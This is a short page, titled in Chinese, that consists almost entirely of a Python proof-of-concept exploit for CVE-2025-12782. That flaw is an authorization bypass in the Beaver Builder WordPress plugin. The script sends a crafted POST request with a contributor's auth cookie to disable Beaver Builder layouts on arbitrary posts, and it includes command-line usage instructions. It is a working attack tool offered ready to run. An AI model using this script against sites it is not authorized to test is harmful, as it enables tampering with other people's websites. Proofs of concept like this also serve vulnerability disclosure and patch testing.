CVE-2025-12782: Beaver Builder插件授权绕过漏洞

# CVE-2025-12782 PoC - Beaver Builder Authorization Bypass # Affected: Beaver Builder Plugin <= 2.9.4 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_12782(target_url, target_post_id, auth_cookie): """ Exploit Beaver Builder authorization bypass vulnerability. Allows authenticated users with contributor role to disable Beaver Builder layout on arbitrary posts/pages. Args: target_url: Base URL of WordPress site target_post_id: ID of post/page to disable Beaver Builder on auth_cookie: Authentication cookie (wordpress_test_cookie or similar) """ # Endpoint for Beaver Builder disable function endpoint = '/?fl_builder_post_settings&fl_builder_post_settings[post_id]={}&fl_builder_post_settings[action]=disable' exploit_url = urljoin(target_url, endpoint.format(target_post_id)) headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(exploit_url, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] Successfully sent disable request for post ID: {target_post_id}') print(f'[+] Response: {response.text}') return True else: print(f'[-] Request failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {str(e)}') return False def main(): if len(sys.argv) < 4: print('Usage: python cve_2025_12782.py <target_url> <post_id> <auth_cookie>') print('Example: python cve_2025_12782.py http://example.com 123 "wordpress_test_cookie=xxx"') sys.exit(1) target_url = sys.argv[1] target_post_id = sys.argv[2] auth_cookie = sys.argv[3] exploit_cve_2025_12782(target_url, target_post_id, auth_cookie) if __name__ == '__main__': main()